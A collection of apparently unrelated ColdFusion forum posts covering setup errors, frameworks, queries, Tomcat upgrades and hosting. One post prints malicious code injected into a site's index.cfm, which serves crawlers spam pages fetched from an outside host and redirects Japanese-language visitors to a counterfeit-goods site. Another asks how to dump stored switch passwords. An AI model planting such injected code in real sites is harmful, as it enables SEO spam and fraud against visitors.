Hi everyone,

The cold-fusion version is: 2021.0.0.323925 (developer mode), and I am running on MacOS: 12.7.1 (MacBook Pro Mid 2015)

Error: “libCFXNeo.jnilib” cannot be opened because the developer cannot be verified.

Error: "macOS cannot verify that this app is free from malware."

Does anyone have any ideas on how to resolve this? Would be ever so grateful!

Best

​

​

I last used Coldfusion in 2016 - quite some time ago! Around that time FW/1 was still quite popular, and some people were using ColdBox too. What has changed since those times? Which lightweight frameworks are developers using these days? I've noticed that FW/1 is not supported anymore, although I did like using it back in the day. ColdBox seems to be still actively developed and supported. So would Lucee + ColdBox be a good modern way to restart my CF journey?

Would be interested in how people are using CF these days.

Best regards

​

Charlie Arehart, CArehart.org, is going to show us how to monitor our database servers at the next meeting of the Mid-Michigan ColdFusion Users Group on Tuesday, April 9th at 7 pm eastern time. Are you having problems with your web app, where you wonder if it might (or might not) be due to your database? Are you able to monitor what is going on in the DB?

In this talk, you will come away with several options to consider, and perhaps a new perspective on how to view DB monitoring.

Meeting URL will be announced next week.

A recording will be available on our group’s YouTube channel in a few days at https://youtube.com/@cfml

Here is the code. Reads in an excel file and dumps it out fine. When doing a Query of Queries it chokes where I use a 'WHERE' conditional

<cftry> <cfspreadsheet action="read" src="#expandPath('test-Staffing.xls')#" query="excelData" columnnames="zone,job,employee,fte,shift,comments" > <cfcatch type="any"> <cfoutput> An error occurred: #cfcatch.message# </cfoutput> </cfcatch> </cftry> <cfdump var="#excelData#"><cfquery name="day" dbtype="query"> select * from excelData WHERE zone = 'day' </cfquery>

The dump works fine but the query afterwards

Error Executing Database Query.

Query Of Queries syntax error. Encountered "zone. Incorrect conditional expression, Expected one of [like|null|between|in|comparison] condition,

A bit of a long shot, but does anyone here know how to use the administrator.cfc to set the default page timeout?

I've tried to look this up and found a few bits here and there. Are they switching to a yearly release?

We have a new EC2 Coldfusion 2023 instance for prod and would like to switch our old 2018 instance to a stage environment with CF2023 but it requests the serial number. Is there a way to do this? I know adobe allows to use a stage/dev environment for no charge when you have an Enterprise license.

I have an existing website with a pretty old blogging module that still requires manual html formatting, I was hoping I could find something that could integrate with my existing website look and feel without needing to reinvent the wheel. I know of content box, does anyone have anything else they'd recommend?

It also might be as easy as putting an html editor in my old blogging setup but wanted to see what people have used if you have any recs.

Hello:

I've inherited a few CF applications, and I'm bringing them into version control.

What do you suggest I commit? The entire webroot seems like a lot, but my survey of the webs looks like that's the case? What are your thoughts?

Thanks,

Blue

​

EDIT:

Thanks for the excellent input and suggestions. This is helpful.

I have all packages installed. I am using the same config that worked for 2018 as far as DSN's, but I get this for any connection I try, even localhost. And it's immediate, not like taking 30s to timeout or anything. Any insight appreciated.
java.sql.SQLException: Timed out trying to establish connection

​

Hello, I'm rather new using CF and I've been asked to password protect a txt file.
I know it can be done for spreadsheets but haven't been able to find documentation for doing the same to txt files, is that even possible?

Looking for a Cold Fusion membership login application that supports a payment structure for website access.

Access to the search link on the website is only available to paid members.

Search links cannot be shared and will not work unless you have logged in as a member.

What are the latest and greatest open source CMS options these days?

Seems that Mura has gone closed source?

For those that have used CF in a docker, what is the correct way to persist my administrator's settings such as data sources, mappings etc.? What I intended to do was to run my docker container, set all of the settings I needed to, then export a .car file of the state and use that in a /data folder for the container to pick up all the settings everytime it is closed/started etc.. However, I cannot successfully build a car file from my admin. I get an error anytime I try.

error image

Does anyone with more experience have possible solutions? Thanks.

I've used Hostek since 2000. They've always been responsive and helpful until about the last six months. Now they are so unresponsive I mind as well be hosting and managing my own server on AWS. Any recommendations would be appreciated.

Hello,
Has anyone successfully updated Tomcat to rotate hourly in ColdFusion? I only see a ColdFusion article about disabling it completely. I have not been able to get it to rotate other than the default daily rotation.

Thanks

Anyone have experience with CFFTP not connecting to an SFTP server - just hanging during the connection process with the CF process never timing out?

I think it was last years CF Summiit there was going to be a talk on CF and AI but I never saw it. Anyone been tinkering?

For fun I started getting CF to interact with chatGPT but haven't taken it too far.

How about y'all?

I haven't coded in about 5 years. But I used CF for roughly a decade. I am looking to dive back into it, mostly hobby and/or small web applications, nothing enterprise. Is there another language or platform that would be easiest for me to switch to given my experience? I bought a NODE book and got lost in that after about 4 chapters, all the packet downloads and such, had no clue what any of it even did. Or is CF worth sticking with if I am kind of diving back in?

It's been a while and I cant remember how to do this. Maybe by now there is a better way anyway.

So the text list could have all manner of junk in it but it will mostly be chunks of 10 character integers that I need to extract separated by anything. How can I pass in a string and have it return a list or an array or something? It has <cfloop delimiters=""> and we had an issue where they passed in a new list with a new delimiter and it choked. I don't want to have to keep updating the delimiter list as they get worse and worse lists. How do I effectively treat anything not a number as a delimiter? regex with :digit: maybe? But that seems like a thing where you have to keep calling it in a loop, which I suppose is doable if that's how it's done in cf. But any function that returns an array or similar would be nice. A couple keywords may be sufficient if someone could point me in the right direction, thanks.

Using Coldbox and Testbox to do unit tests and working on expanding integration testing.

I want to be able to mock the DAO so I can control the data that the test is trying to render on the view. For instance, object ID 1 might be valid today, but if I run the test next month, the object may now be deleted or otherwise change status or other values. Also very useful for basic testing since I can inject needles into my mocked data that I can search for in the rendered results.

Is there a way to inject a mocked DAO into the mocked wirebox (or otherwise intercept the call to the DAO) so I can return controlled queries?

This would also be extremely useful to do integration testing on edit pages where I do not want the test to actually change data.

very simple sample execution path:

in handler/main
    property name="user_service" inject="model:user_service";
    function list(event, rc, prc) {
        ... do some stuff ...
        arguments.prc.user_query = user_service.getUserQuery(user_id: arguments.event.getvalue('user_id', 0));
        ... do some other stuff to prep the view ...
    }


in model/user_service
    property name="user_dao" inject="model:dao.user_dao";
    function getUserQuery(required numeric user_id) {
        return user_dao.getuserQuery(user_id: arguments.user_id);
    }

in model/dao/user_dao
    function getUserQuery(required numeric user_id) {
        ... the actual database query I want to mock ...
    }

Any thoughts or ideas?

Guys I'm very new to Coldfusion development and. I first want to learn how to perform CRUD operations. But i couldn't find any upto date tutorials/ resources. Can you guys please help me to find one? Thank you in advance.

Edit : Thank you everyone for your kind responses. My new job requires me to learn Coldfusion that's why I'm panicking a little bit because i really want this job. I'll check out the resources you guys have mentioned. Thank you again!!

I just upgraded to CF 2023. One of the main reasons I did this was to update Tomcat so that my CISO would get off my back about our Nesus scan bringing up the 'out of compliance' software I was running.

And...Tomcat is still coming up on the scan?!

CF 2023 administrator tells me that Tomcat 9.0.72.0 is running.

Is there any way to update Tomcat for CF? Everything I read in the past told me that it was essentially impossible to upgrade Tomcat when using it for CF. So, I assumed that upgrading CF entirely would do the trick. Whoops.

But, if anyone knows of a way, I'd love to be able to do this. Thanks!

For a few months now the following code has been injected into the top part of our index.cfm. I remove it, and in a few days it's back. It's obviously malicious, but I have no idea how to stop it. Can anyone suggest anything?

​

<cfset REQUEST.UserAgent = LCase( CGI.http_user_agent ) />
<cfif (Find( "google", REQUEST.UserAgent ) or Find( "yahoo", REQUEST.UserAgent)) >
<cfhttp url="www.hara-juko.com/seo/www.myurl.com.html"/>
<cfoutput>#cfhttp.filecontent#</cfoutput>
<cfabort />
</cfif>


<SCRIPT LANGUAGE="JavaScript1.2">
<!--//
if (navigator.appName == 'Netscape')
var language = navigator.language;
else
var language = navigator.browserLanguage;
if (language.indexOf('ja') > -1) document.location.href = 'https://www.kopisss.com/category/clothes/louisvuitton-clothes/t-shirt-louisvuitton-clothes';
// End -->
</script>

​

So we bought a company that has east and west coast data centers. The company was on it last breath when we bought them. It was a good buy but..... Every network engineer bailed before the sale. We have the passwords to some of the critical gear but we're missing a bunch of passwords to other switches we really need access to. Being on the opposite side of the country makes it a little more difficult to just run to the data center and break into the switches.

​

The good thing is they still get backed up by scripts that run on a jump station. I've figured out that the scripts that run to log in and get enable store the enable passwords in a Cold Fusion Database. From what I can tell it's Cold Fusion MX.

I'm not a programmer or a database guy and neither are the other engineers because that's just not something we need as a company. I've tried all day to find a way to just dump the contents of this database, even if it's the EN passwords, into a text file but nothing I'm doing works. I've Googled until I'm blue in the face but finding what one would think are trivial tasks is non existent. Is there no easy way to just dump the data into a text file? I don't care if it's formatted or not. Even if it's just a list of entries I can use that to get what I need and save a long flight and a few days.

Where do I even start to figure out what I need to do what seems like a simple task? Many commands I find to maybe accomplish what I need seems to have not existed in MX.

I've just discovered the ordered structure [ : ] in the Coldfusion.

I don't think it is good idea to incorporated it, because I'm expecting struct to be a set and if I want any ordering, the array is the option.

Is there other language with such a collection?

Also, it is quite confusing to see build in function called structSort what returns an array if we have ordered structure.

We have been using ext.js as our JS library. But it seems it is difficult to 'Selenium' test as it creates new , and different, ID's each time a page is created.

Looking to see if any folks use ext.js and if any auto-test with it.

thanks!

Sam.

Hi community!. So I was researching how to connect my CF application to read a mailbox on 365 via POP using modern authentication (oAuth), as currently MS has deprecated old Basic Auth. The problem is that I can’t find clear instructions or official documentation on how to write an oAuth code to open my 365 mailbox, or how to properly register my application on Azure or 365 to get the proper key and id.

In other words, I’m a newbie on the oAuth subject and I’m looking for guidance.

Wondering if anyone out here has done such implementation and could point me in the right direction.

Thanks in advance

Hi Folks -

My company is finally considering upgrading or buying into the newest version of CF.

I'm curious if I have an on-prem server, can I connect to an Azure based sql server?

​

Does anyone have any good points / bad points to bring up?

I'm looking for anyone who's got some hands-on experience.

​

Thanks

​

​